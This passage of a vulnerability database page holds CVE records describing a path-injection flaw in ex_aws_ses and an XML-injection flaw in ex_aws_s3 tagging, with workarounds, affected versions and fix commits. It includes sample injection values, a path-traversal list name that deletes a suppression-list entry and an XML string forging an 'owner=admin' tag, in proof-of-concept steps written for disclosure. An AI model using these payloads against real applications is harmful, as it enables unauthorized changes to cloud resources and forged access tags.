                "lib/ex_aws/ses.ex"
              ],
              "programRoutines": [
                {
                  "name": "\u0027Elixir.ExAws.SES\u0027:delete_contact_list/1"
                },
                {
                  "name": "\u0027Elixir.ExAws.SES\u0027:get_contact_list/1"
                },
                {
                  "name": "\u0027Elixir.ExAws.SES\u0027:update_contact_list/2"
                },
                {
                  "name": "\u0027Elixir.ExAws.SES\u0027:create_contact/3"
                },
                {
                  "name": "\u0027Elixir.ExAws.SES\u0027:get_contact/2"
                },
                {
                  "name": "\u0027Elixir.ExAws.SES\u0027:update_contact/3"
                },
                {
                  "name": "\u0027Elixir.ExAws.SES\u0027:delete_contact/2"
                },
                {
                  "name": "\u0027Elixir.ExAws.SES\u0027:list_contacts/1"
                }
              ],
              "repo": "https://github.com/ex-aws/ex_aws_ses",
              "vendor": "ex-aws",
              "versions": [
                {
                  "lessThan": "05c580a8d17da33535d55a45e4cd2430e88e62cf",
                  "status": "affected",
                  "version": "ac7f97fa93c82e30868634735649027b2b968607",
                  "versionType": "git"
                }
              ]
            }
          ],
          "configurations": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eThe application must pass externally-influenced input (such as an HTTP parameter, a queue message, or a tenant record) as the \u003ccode\u003elist_name\u003c/code\u003e argument to one of the affected \u003ccode\u003eExAws.SES\u003c/code\u003e V2 contact-list or contact functions. Applications that only use hardcoded or strictly validated list names are not affected.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "The application must pass externally-influenced input (such as an HTTP parameter, a queue message, or a tenant record) as the `list_name` argument to one of the affected `ExAws.SES` V2 contact-list or contact functions. Applications that only use hardcoded or strictly validated list names are not affected."
                }
              ],
              "value": "The application must pass externally-influenced input (such as an HTTP parameter, a queue message, or a tenant record) as the list_name argument to one of the affected ExAws.SES V2 contact-list or contact functions. Applications that only use hardcoded or strictly validated list names are not affected."
            }
          ],
          "cpeApplicability": [
            {
              "nodes": [
                {
                  "cpeMatch": [
                    {
                      "criteria": "cpe:2.3:a:ex-aws:ex_aws_ses:*:*:*:*:*:*:*:*",
                      "versionEndExcluding": "2.5.0",
                      "versionStartIncluding": "2.3.0",
                      "vulnerable": true
                    }
                  ],
                  "negate": false,
                  "operator": "OR"
                }
              ],
              "operator": "AND"
            }
          ],
          "credits": [
            {
              "lang": "en",
              "type": "finder",
              "value": "Peter Ullrich"
            },
            {
              "lang": "en",
              "type": "reporter",
              "value": "Peter Ullrich"
            },
            {
              "lang": "en",
              "type": "analyst",
              "value": "Jonatan M\u00e4nnchen / EEF"
            },
            {
              "lang": "en",
              "type": "coordinator",
              "value": "Peter Ullrich"
            },
            {
              "lang": "en",
              "type": "remediation developer",
              "value": "Bernard Duggan"
            }
          ],
          "datePublic": "2026-11-24T14:21:00.000Z",
          "descriptions": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eImproper Encoding or Escaping of Output vulnerability in ex-aws ex_aws_ses (\u003ccode\u003eExAws.SES\u003c/code\u003e module) allows path injection into Amazon SES V2 request URLs.\u003c/p\u003e\n\u003cp\u003eThis vulnerability is associated with program file \u003ccode\u003elib/ex_aws/ses.ex\u003c/code\u003e and program routines \u003ccode\u003eExAws.SES.delete_contact_list/1\u003c/code\u003e, \u003ccode\u003eExAws.SES.get_contact_list/1\u003c/code\u003e, \u003ccode\u003eExAws.SES.update_contact_list/2\u003c/code\u003e, \u003ccode\u003eExAws.SES.create_contact/3\u003c/code\u003e, \u003ccode\u003eExAws.SES.get_contact/2\u003c/code\u003e, \u003ccode\u003eExAws.SES.update_contact/3\u003c/code\u003e, \u003ccode\u003eExAws.SES.delete_contact/2\u003c/code\u003e and \u003ccode\u003eExAws.SES.list_contacts/1\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eThe V2 contact-list and contact functions interpolate the caller-supplied \u003ccode\u003elist_name\u003c/code\u003e into the request path without URI-encoding it, unlike the email address in the same functions which is passed through \u003ccode\u003eExAws.Request.Url.uri_encode/1\u003c/code\u003e. An application that forwards untrusted input as a contact-list name lets an attacker embed \u003ccode\u003e/\u003c/code\u003e, \u003ccode\u003e..\u003c/code\u003e or \u003ccode\u003e?\u003c/code\u003e to escape the intended \u003ccode\u003econtact-lists/\u0026lt;name\u0026gt;\u003c/code\u003e path segment. A value such as \u003ccode\u003ex/../suppression/addresses/victim%40example.com\u003c/code\u003e makes a \u003ccode\u003edelete_contact_list/1\u003c/code\u003e call arrive at the account-wide suppression list. The request is still signed with the application\u0027s own AWS credentials and sent to the configured SES host, so the impact is cross-resource request forgery inside the caller\u0027s own AWS account, not arbitrary SSRF. Applications that only use hardcoded or strictly validated list names are not affected.\u003c/p\u003e\n\u003cp\u003eThis issue affects ex_aws_ses: from 2.3.0 before 2.5.0.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "Improper Encoding or Escaping of Output vulnerability in ex-aws ex_aws_ses (`ExAws.SES` module) allows path injection into Amazon SES V2 request URLs.\n\nThis vulnerability is associated with program file `lib/ex_aws/ses.ex` and program routines `ExAws.SES.delete_contact_list/1`, `ExAws.SES.get_contact_list/1`, `ExAws.SES.update_contact_list/2`, `ExAws.SES.create_contact/3`, `ExAws.SES.get_contact/2`, `ExAws.SES.update_contact/3`, `ExAws.SES.delete_contact/2` and `ExAws.SES.list_contacts/1`.\n\nThe V2 contact-list and contact functions interpolate the caller-supplied `list_name` into the request path without URI-encoding it, unlike the email address in the same functions which is passed through `ExAws.Request.Url.uri_encode/1`. An application that forwards untrusted input as a contact-list name lets an attacker embed `/`, `..` or `?` to escape the intended `contact-lists/\u003cname\u003e` path segment. A value such as `x/../suppression/addresses/victim%40example.com` makes a `delete_contact_list/1` call arrive at the account-wide suppression list. The request is still signed with the application\u0027s own AWS credentials and sent to the configured SES host, so the impact is cross-resource request forgery inside the caller\u0027s own AWS account, not arbitrary SSRF. Applications that only use hardcoded or strictly validated list names are not affected.\n\nThis issue affects ex_aws_ses: from 2.3.0 before 2.5.0."
                }
              ],
              "value": "Improper Encoding or Escaping of Output vulnerability in ex-aws ex_aws_ses (ExAws.SES module) allows path injection into Amazon SES V2 request URLs.\n\nThis vulnerability is associated with program file lib/ex_aws/ses.ex and program routines ExAws.SES.delete_contact_list/1, ExAws.SES.get_contact_list/1, ExAws.SES.update_contact_list/2, ExAws.SES.create_contact/3, ExAws.SES.get_contact/2, ExAws.SES.update_contact/3, ExAws.SES.delete_contact/2 and ExAws.SES.list_contacts/1.\n\nThe V2 contact-list and contact functions interpolate the caller-supplied list_name into the request path without URI-encoding it, unlike the email address in the same functions which is passed through ExAws.Request.Url.uri_encode/1. An application that forwards untrusted input as a contact-list name lets an attacker embed /, .. or ? to escape the intended contact-lists/\u003cname\u003e path segment. A value such as x/../suppression/addresses/victim%40example.com makes a delete_contact_list/1 call arrive at the account-wide suppression list. The request is still signed with the application\u0027s own AWS credentials and sent to the configured SES host, so the impact is cross-resource request forgery inside the caller\u0027s own AWS account, not arbitrary SSRF. Applications that only use hardcoded or strictly validated list names are not affected.\n\nThis issue affects ex_aws_ses: from 2.3.0 before 2.5.0."
            }
          ],
          "impacts": [
            {
              "capecId": "CAPEC-64",
              "descriptions": [
                {
                  "lang": "en",
                  "supportingMedia": [
                    {
                      "base64": false,
                      "type": "text/html",
                      "value": "\u003cp\u003eAn attacker who controls a contact-list name, or an email address passed to the V2 contact functions, can redirect an authenticated, SigV4-signed SES request to a different resource in the account, causing unintended reads, modifications or deletions (for example manipulating the account-wide suppression list) while the application believes it is operating only on the named contact list or contact. Applications that only use hardcoded or strictly validated values for these arguments are not affected.\u003c/p\u003e"
                    },
                    {
                      "base64": false,
                      "type": "text/markdown",
                      "value": "An attacker who controls a contact-list name, or an email address passed to the V2 contact functions, can redirect an authenticated, SigV4-signed SES request to a different resource in the account, causing unintended reads, modifications or deletions (for example manipulating the account-wide suppression list) while the application believes it is operating only on the named contact list or contact. Applications that only use hardcoded or strictly validated values for these arguments are not affected."
                    }
                  ],
                  "value": "An attacker who controls a contact-list name, or an email address passed to the V2 contact functions, can redirect an authenticated, SigV4-signed SES request to a different resource in the account, causing unintended reads, modifications or deletions (for example manipulating the account-wide suppression list) while the application believes it is operating only on the named contact list or contact. Applications that only use hardcoded or strictly validated values for these arguments are not affected."
                }
              ]
            }
          ],
          "metrics": [
            {
              "cvssV4_0": {
                "Automatable": "NOT_DEFINED",
                "Recovery": "NOT_DEFINED",
                "Safety": "NOT_DEFINED",
                "attackComplexity": "LOW",
                "attackRequirements": "PRESENT",
                "attackVector": "LOCAL",
                "baseScore": 5.9,
                "baseSeverity": "MEDIUM",
                "privilegesRequired": "NONE",
                "providerUrgency": "NOT_DEFINED",
                "subAvailabilityImpact": "NONE",
                "subConfidentialityImpact": "NONE",
                "subIntegrityImpact": "NONE",
                "userInteraction": "NONE",
                "valueDensity": "NOT_DEFINED",
                "vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N",
                "version": "4.0",
                "vulnAvailabilityImpact": "NONE",
                "vulnConfidentialityImpact": "LOW",
                "vulnIntegrityImpact": "HIGH",
                "vulnerabilityResponseEffort": "NOT_DEFINED"
              },
              "format": "CVSS",
              "scenarios": [
                {
                  "lang": "en",
                  "value": "GENERAL"
                }
              ]
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-116",
                  "description": "CWE-116 Improper Encoding or Escaping of Output",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-11-24T14:21:01.869Z",
            "orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
            "shortName": "EEF"
          },
          "references": [
            {
              "tags": [
                "vendor-advisory",
                "related"
              ],
              "url": "https://github.com/ex-aws/ex_aws_ses/security/advisories/GHSA-m65r-v8mq-xj8v"
            },
            {
              "name": "EEF CNA record for CVE-2026-65622",
              "tags": [
                "related"
              ],
              "url": "https://cna.erlef.org/cves/CVE-2026-65622.html"
            },
            {
              "name": "OSV record EEF-CVE-2026-65622",
              "tags": [
                "related"
              ],
              "url": "https://osv.dev/vulnerability/EEF-CVE-2026-65622"
            },
            {
              "name": "Introducing commit ac7f97f in ex-aws/ex_aws_ses",
              "tags": [
                "related"
              ],
              "url": "https://github.com/ex-aws/ex_aws_ses/commit/ac7f97fa93c82e30868634735649027b2b968607"
            },
            {
              "name": "Fix commit 05c580a in ex-aws/ex_aws_ses",
              "tags": [
                "patch"
              ],
              "url": "https://github.com/ex-aws/ex_aws_ses/commit/05c580a8d17da33535d55a45e4cd2430e88e62cf"
            }
          ],
          "source": {
            "discovery": "EXTERNAL"
          },
          "title": "ex_aws_ses missing URI-encoding of list_name allows path injection into SES V2 request URLs",
          "workarounds": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eRestrict \u003ccode\u003elist_name\u003c/code\u003e to Amazon SES\u0027s permitted contact-list character set, or run it through \u003ccode\u003eExAws.Request.Url.uri_encode/1\u003c/code\u003e, before passing it to the affected functions.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "Restrict `list_name` to Amazon SES\u0027s permitted contact-list character set, or run it through `ExAws.Request.Url.uri_encode/1`, before passing it to the affected functions."
                }
              ],
              "value": "Restrict list_name to Amazon SES\u0027s permitted contact-list character set, or run it through ExAws.Request.Url.uri_encode/1, before passing it to the affected functions."
            }
          ],
          "x_proofOfConcept": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003col\u003e\n\u003cli\u003eAn application takes a contact-list name from untrusted input and calls \u003ccode\u003eExAws.SES.delete_contact_list(list_name) |\u0026gt; ExAws.request()\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe attacker supplies \u003ccode\u003ex/../suppression/addresses/victim@example.com\u003c/code\u003e (with the \u003ccode\u003e@\u003c/code\u003e percent-encoded) as the list name.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003edelete_contact_list/1\u003c/code\u003e interpolates it unencoded, so the signed request is \u003ccode\u003eDELETE /v2/email/contact-lists/x/../suppression/addresses/victim%40example.com\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eOnce the \u003ccode\u003e..\u003c/code\u003e is normalized, the request deletes the victim address from the account-wide suppression list instead of deleting a contact list.\u003c/li\u003e\n\u003c/ol\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "1. An application takes a contact-list name from untrusted input and calls `ExAws.SES.delete_contact_list(list_name) |\u003e ExAws.request()`.\n2. The attacker supplies `x/../suppression/addresses/victim@example.com` (with the `@` percent-encoded) as the list name.\n3. `delete_contact_list/1` interpolates it unencoded, so the signed request is `DELETE /v2/email/contact-lists/x/../suppression/addresses/victim%40example.com`.\n4. Once the `..` is normalized, the request deletes the victim address from the account-wide suppression list instead of deleting a contact list."
                }
              ],
              "value": "* An application takes a contact-list name from untrusted input and calls ExAws.SES.delete_contact_list(list_name) |\u003e ExAws.request().\n* The attacker supplies x/../suppression/addresses/victim@example.com (with the @ percent-encoded) as the list name.\n* delete_contact_list/1 interpolates it unencoded, so the signed request is DELETE /v2/email/contact-lists/x/../suppression/addresses/victim%40example.com.\n* Once the .. is normalized, the request deletes the victim address from the account-wide suppression list instead of deleting a contact list."
            }
          ],
          "x_technicalAnalysis": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003e\u003cstrong\u003e1. Raw interpolation.\u003c/strong\u003e Every V2 contact-list and contact function in \u003ccode\u003elib/ex_aws/ses.ex\u003c/code\u003e builds its resource string by interpolating \u003ccode\u003elist_name\u003c/code\u003e as given, for example \u003ccode\u003erequest_v2(:delete, \"contact-lists/#{list_name}\")\u003c/code\u003e in \u003ccode\u003edelete_contact_list/1\u003c/code\u003e. \u003ccode\u003erequest_v2/2\u003c/code\u003e then appends it to the operation path as \u003ccode\u003e@v2_path \u0026lt;\u0026gt; \"/#{resource}\"\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e2. Inconsistent encoding.\u003c/strong\u003e The same functions pass the email address through \u003ccode\u003eExAws.Request.Url.uri_encode/1\u003c/code\u003e, but \u003ccode\u003elist_name\u003c/code\u003e is neither encoded nor validated. \u003ccode\u003euri_encode/1\u003c/code\u003e itself leaves \u003ccode\u003e/\u003c/code\u003e unencoded, so an email address containing \u003ccode\u003e/\u003c/code\u003e can add path segments as well.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e3. Segment escape.\u003c/strong\u003e A list name such as \u003ccode\u003ex/../suppression/addresses/victim%40example.com\u003c/code\u003e produces \u003ccode\u003e/v2/email/contact-lists/x/../suppression/addresses/victim%40example.com\u003c/code\u003e, which normalizes to the account\u0027s suppression list. Appending \u003ccode\u003e/contacts/\u0026lt;addr\u0026gt;\u003c/code\u003e turns a list-level operation into a contact operation, and a \u003ccode\u003e?\u003c/code\u003e can inject query parameters. The request is signed with the application\u0027s credentials and sent to the configured SES host, so the effect is cross-resource request forgery inside the caller\u0027s own AWS account.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "**1. Raw interpolation.** Every V2 contact-list and contact function in `lib/ex_aws/ses.ex` builds its resource string by interpolating `list_name` as given, for example `request_v2(:delete, \"contact-lists/#{list_name}\")` in `delete_contact_list/1`. `request_v2/2` then appends it to the operation path as `@v2_path \u003c\u003e \"/#{resource}\"`.\n\n**2. Inconsistent encoding.** The same functions pass the email address through `ExAws.Request.Url.uri_encode/1`, but `list_name` is neither encoded nor validated. `uri_encode/1` itself leaves `/` unencoded, so an email address containing `/` can add path segments as well.\n\n**3. Segment escape.** A list name such as `x/../suppression/addresses/victim%40example.com` produces `/v2/email/contact-lists/x/../suppression/addresses/victim%40example.com`, which normalizes to the account\u0027s suppression list. Appending `/contacts/\u003caddr\u003e` turns a list-level operation into a contact operation, and a `?` can inject query parameters. The request is signed with the application\u0027s credentials and sent to the configured SES host, so the effect is cross-resource request forgery inside the caller\u0027s own AWS account."
                }
              ],
              "value": "1. Raw interpolation. Every V2 contact-list and contact function in lib/ex_aws/ses.ex builds its resource string by interpolating list_name as given, for example request_v2(:delete, \"contact-lists/#{list_name}\") in delete_contact_list/1. request_v2/2 then appends it to the operation path as @v2_path \u003c\u003e \"/#{resource}\".\n\n2. Inconsistent encoding. The same functions pass the email address through ExAws.Request.Url.uri_encode/1, but list_name is neither encoded nor validated. uri_encode/1 itself leaves / unencoded, so an email address containing / can add path segments as well.\n\n3. Segment escape. A list name such as x/../suppression/addresses/victim%40example.com produces /v2/email/contact-lists/x/../suppression/addresses/victim%40example.com, which normalizes to the account\u0027s suppression list. Appending /contacts/\u003caddr\u003e turns a list-level operation into a contact operation, and a ? can inject query parameters. The request is signed with the application\u0027s credentials and sent to the configured SES host, so the effect is cross-resource request forgery inside the caller\u0027s own AWS account."
            }
          ]
        }
      },
      "cveMetadata": {
        "assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
        "assignerShortName": "EEF",
        "cveId": "CVE-2026-65622",
        "datePublished": "2026-11-24T14:21:01.869Z",
        "dateReserved": "2026-07-22T13:55:59.401Z",
        "dateUpdated": "2026-11-24T14:21:01.869Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }

    CVE-2026-62273 (GCVE-0-2026-62273)

    Vulnerability from cvelistv5 – Published: 2026-11-24 14:15 – Updated: 2026-11-25 20:06
    VLAI
    Title
    XML injection via unescaped tag keys and values in ex_aws_s3 object and bucket tagging
    Summary
    XML Injection vulnerability in ex-aws ex_aws_s3 allows an attacker who controls tag keys or values to inject forged tag entries into S3 object and bucket tagging requests. ExAws.S3.put_object_tagging/4 and ExAws.S3.put_bucket_tagging/2 in lib/ex_aws/s3.ex build the <TagSet> request body by interpolating tag keys and values directly into <Key> and <Value> elements via to_string/1, without applying the module's existing escape_xml_string/1 helper (which delete_multiple_objects already uses for object keys). An application that forwards user-supplied data as a tag key or value lets an attacker close the intended element and inject attacker-chosen <Tag> entries. For example, a tag value of blue</Value></Tag><Tag><Key>owner</Key><Value>admin turns one intended tag into two tags on the wire. Because S3 honors tags in access-control conditions (aws:RequestTag, s3:ExistingObjectTag) and cost-allocation reporting, an injected tag can forge an authorization-relevant tag or corrupt the intended tag set. This issue affects ex_aws_s3: from 2.0.2 before 2.6.0.
    SSVC
    Exploitation: poc Automatable: no Technical Impact: partial
    CISA Coordinator · CISA-ADP (v2.0.3)
    Decision recorded 2026-11-25 20:06 UTC
    CWE
    Assigner
    EEF CNA under the mitre root
    CNA scorecard A 97/100 over 376 records in the last 180 days details
    Impacted products
    Vendor Product Version
    ex-aws ex_aws_s3 Affected: 2.0.2 , < 2.6.0 (semver)
        cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*
    Create a notification for this product.
    ex-aws ex_aws_s3 Affected: c6331b84c80f09d24d4a25cf05d8604541ce162e , < eda0b9b9c63707f7db8d8f18c331df7fda57c397 (git)
        cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*
    Create a notification for this product.
    Date Public
    2026-11-24 14:15
    Show details on NVD website

    {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-62273",
                    "options": [
                      {
                        "Exploitation": "poc"
                      },
                      {
                        "Automatable": "no"
                      },
                      {
                        "Technical Impact": "partial"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-11-25T20:06:06.920013Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-11-25T20:06:23.281Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "references": [
              {
                "tags": [
                  "exploit"
                ],
                "url": "https://osv.dev/vulnerability/EEF-CVE-2026-62273"
              }
            ],
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "collectionURL": "https://repo.hex.pm",
              "cpes": [
                "cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unaffected",
              "modules": [
                "\u0027Elixir.ExAws.S3\u0027"
              ],
              "packageName": "ex_aws_s3",
              "packageURL": "pkg:hex/ex_aws_s3",
              "product": "ex_aws_s3",
              "programFiles": [
                "lib/ex_aws/s3.ex"
              ],
              "programRoutines": [
                {
                  "name": "\u0027Elixir.ExAws.S3\u0027:put_object_tagging/4"
                },
                {
                  "name": "\u0027Elixir.ExAws.S3\u0027:put_bucket_tagging/2"
                }
              ],
              "repo": "https://github.com/ex-aws/ex_aws_s3",
              "vendor": "ex-aws",
              "versions": [
                {
                  "lessThan": "2.6.0",
                  "status": "affected",
                  "version": "2.0.2",
                  "versionType": "semver"
                }
              ]
            },
            {
              "collectionURL": "https://github.com",
              "cpes": [
                "cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unaffected",
              "modules": [
                "\u0027Elixir.ExAws.S3\u0027"
              ],
              "packageName": "ex-aws/ex_aws_s3",
              "packageURL": "pkg:github/ex-aws/ex_aws_s3",
              "product": "ex_aws_s3",
              "programFiles": [
                "lib/ex_aws/s3.ex"
              ],
              "programRoutines": [
                {
                  "name": "\u0027Elixir.ExAws.S3\u0027:put_object_tagging/4"
                },
                {
                  "name": "\u0027Elixir.ExAws.S3\u0027:put_bucket_tagging/2"
                }
              ],
              "repo": "https://github.com/ex-aws/ex_aws_s3",
              "vendor": "ex-aws",
              "versions": [
                {
                  "lessThan": "eda0b9b9c63707f7db8d8f18c331df7fda57c397",
                  "status": "affected",
                  "version": "c6331b84c80f09d24d4a25cf05d8604541ce162e",
                  "versionType": "git"
                }
              ]
            }
          ],
          "cpeApplicability": [
            {
              "nodes": [
                {
                  "cpeMatch": [
                    {
                      "criteria": "cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*",
                      "versionEndExcluding": "2.6.0",
                      "versionStartIncluding": "2.0.2",
                      "vulnerable": true
                    }
                  ],
                  "negate": false,
                  "operator": "OR"
                }
              ],
              "operator": "AND"
            }
          ],
          "credits": [
            {
              "lang": "en",
              "type": "finder",
              "value": "Peter Ullrich"
            },
            {
              "lang": "en",
              "type": "reporter",
              "value": "Peter Ullrich"
            },
            {
              "lang": "en",
              "type": "analyst",
              "value": "Jonatan M\u00e4nnchen / EEF"
            },
            {
              "lang": "en",
              "type": "coordinator",
              "value": "Peter Ullrich"
            },
            {
              "lang": "en",
              "type": "remediation developer",
              "value": "Bernard Duggan"
            }
          ],
          "datePublic": "2026-11-24T14:15:58.000Z",
          "descriptions": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eXML Injection vulnerability in ex-aws ex_aws_s3 allows an attacker who controls tag keys or values to inject forged tag entries into S3 object and bucket tagging requests.\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eExAws.S3.put_object_tagging/4\u003c/code\u003e and \u003ccode\u003eExAws.S3.put_bucket_tagging/2\u003c/code\u003e in \u003ccode\u003elib/ex_aws/s3.ex\u003c/code\u003e build the \u003ccode\u003e\u0026lt;TagSet\u0026gt;\u003c/code\u003e request body by interpolating tag keys and values directly into \u003ccode\u003e\u0026lt;Key\u0026gt;\u003c/code\u003e and \u003ccode\u003e\u0026lt;Value\u0026gt;\u003c/code\u003e elements via \u003ccode\u003eto_string/1\u003c/code\u003e, without applying the module\u0027s existing \u003ccode\u003eescape_xml_string/1\u003c/code\u003e helper (which \u003ccode\u003edelete_multiple_objects\u003c/code\u003e already uses for object keys). An application that forwards user-supplied data as a tag key or value lets an attacker close the intended element and inject attacker-chosen \u003ccode\u003e\u0026lt;Tag\u0026gt;\u003c/code\u003e entries. For example, a tag value of \u003ccode\u003eblue\u0026lt;/Value\u0026gt;\u0026lt;/Tag\u0026gt;\u0026lt;Tag\u0026gt;\u0026lt;Key\u0026gt;owner\u0026lt;/Key\u0026gt;\u0026lt;Value\u0026gt;admin\u003c/code\u003e turns one intended tag into two tags on the wire. Because S3 honors tags in access-control conditions (\u003ccode\u003eaws:RequestTag\u003c/code\u003e, \u003ccode\u003es3:ExistingObjectTag\u003c/code\u003e) and cost-allocation reporting, an injected tag can forge an authorization-relevant tag or corrupt the intended tag set.\u003c/p\u003e\n\u003cp\u003eThis issue affects ex_aws_s3: from 2.0.2 before 2.6.0.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "XML Injection vulnerability in ex-aws ex_aws_s3 allows an attacker who controls tag keys or values to inject forged tag entries into S3 object and bucket tagging requests.\n\n`ExAws.S3.put_object_tagging/4` and `ExAws.S3.put_bucket_tagging/2` in `lib/ex_aws/s3.ex` build the `\u003cTagSet\u003e` request body by interpolating tag keys and values directly into `\u003cKey\u003e` and `\u003cValue\u003e` elements via `to_string/1`, without applying the module\u0027s existing `escape_xml_string/1` helper (which `delete_multiple_objects` already uses for object keys). An application that forwards user-supplied data as a tag key or value lets an attacker close the intended element and inject attacker-chosen `\u003cTag\u003e` entries. For example, a tag value of `blue\u003c/Value\u003e\u003c/Tag\u003e\u003cTag\u003e\u003cKey\u003eowner\u003c/Key\u003e\u003cValue\u003eadmin` turns one intended tag into two tags on the wire. Because S3 honors tags in access-control conditions (`aws:RequestTag`, `s3:ExistingObjectTag`) and cost-allocation reporting, an injected tag can forge an authorization-relevant tag or corrupt the intended tag set.\n\nThis issue affects ex_aws_s3: from 2.0.2 before 2.6.0."
                }
              ],
              "value": "XML Injection vulnerability in ex-aws ex_aws_s3 allows an attacker who controls tag keys or values to inject forged tag entries into S3 object and bucket tagging requests.\n\nExAws.S3.put_object_tagging/4 and ExAws.S3.put_bucket_tagging/2 in lib/ex_aws/s3.ex build the \u003cTagSet\u003e request body by interpolating tag keys and values directly into \u003cKey\u003e and \u003cValue\u003e elements via to_string/1, without applying the module\u0027s existing escape_xml_string/1 helper (which delete_multiple_objects already uses for object keys). An application that forwards user-supplied data as a tag key or value lets an attacker close the intended element and inject attacker-chosen \u003cTag\u003e entries. For example, a tag value of blue\u003c/Value\u003e\u003c/Tag\u003e\u003cTag\u003e\u003cKey\u003eowner\u003c/Key\u003e\u003cValue\u003eadmin turns one intended tag into two tags on the wire. Because S3 honors tags in access-control conditions (aws:RequestTag, s3:ExistingObjectTag) and cost-allocation reporting, an injected tag can forge an authorization-relevant tag or corrupt the intended tag set.\n\nThis issue affects ex_aws_s3: from 2.0.2 before 2.6.0."
            }
          ],
          "impacts": [
            {
              "capecId": "CAPEC-250",
              "descriptions": [
                {
                  "lang": "en",
                  "supportingMedia": [
                    {
                      "base64": false,
                      "type": "text/html",
                      "value": "\u003cp\u003eThis is an XML injection vulnerability. It affects any application that uses \u003ccode\u003eex_aws_s3\u003c/code\u003e and passes user-influenced data as tag keys or values to \u003ccode\u003eput_object_tagging/4\u003c/code\u003e or \u003ccode\u003eput_bucket_tagging/2\u003c/code\u003e. An attacker who controls part of a tag key or value can inject additional \u003ccode\u003e\u0026lt;Tag\u0026gt;\u003c/code\u003e elements into the request S3 receives, forging tags used for tag-based access control and cost allocation, or corrupting the intended tag set. The only precondition is that user-controlled input reaches the tag key/value of one of these calls.\u003c/p\u003e"
                    },
                    {
                      "base64": false,
                      "type": "text/markdown",
                      "value": "This is an XML injection vulnerability. It affects any application that uses `ex_aws_s3` and passes user-influenced data as tag keys or values to `put_object_tagging/4` or `put_bucket_tagging/2`. An attacker who controls part of a tag key or value can inject additional `\u003cTag\u003e` elements into the request S3 receives, forging tags used for tag-based access control and cost allocation, or corrupting the intended tag set. The only precondition is that user-controlled input reaches the tag key/value of one of these calls."
                    }
                  ],
                  "value": "This is an XML injection vulnerability. It affects any application that uses ex_aws_s3 and passes user-influenced data as tag keys or values to put_object_tagging/4 or put_bucket_tagging/2. An attacker who controls part of a tag key or value can inject additional \u003cTag\u003e elements into the request S3 receives, forging tags used for tag-based access control and cost allocation, or corrupting the intended tag set. The only precondition is that user-controlled input reaches the tag key/value of one of these calls."
                }
              ]
            }
          ],
          "metrics": [
            {
              "cvssV4_0": {
                "Automatable": "NOT_DEFINED",
                "Recovery": "NOT_DEFINED",
                "Safety": "NOT_DEFINED",
                "attackComplexity": "LOW",
                "attackRequirements": "PRESENT",
                "attackVector": "LOCAL",
                "baseScore": 2.1,
                "baseSeverity": "LOW",
                "privilegesRequired": "NONE",
                "providerUrgency": "NOT_DEFINED",
                "subAvailabilityImpact": "NONE",
                "subConfidentialityImpact": "NONE",
                "subIntegrityImpact": "LOW",
                "userInteraction": "NONE",
                "valueDensity": "NOT_DEFINED",
                "vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N",
                "version": "4.0",
                "vulnAvailabilityImpact": "NONE",
                "vulnConfidentialityImpact": "NONE",
                "vulnIntegrityImpact": "LOW",
                "vulnerabilityResponseEffort": "NOT_DEFINED"
              },
              "format": "CVSS",
              "scenarios": [
                {
                  "lang": "en",
                  "value": "GENERAL"
                }
              ]
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-91",
                  "description": "CWE-91 XML Injection",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
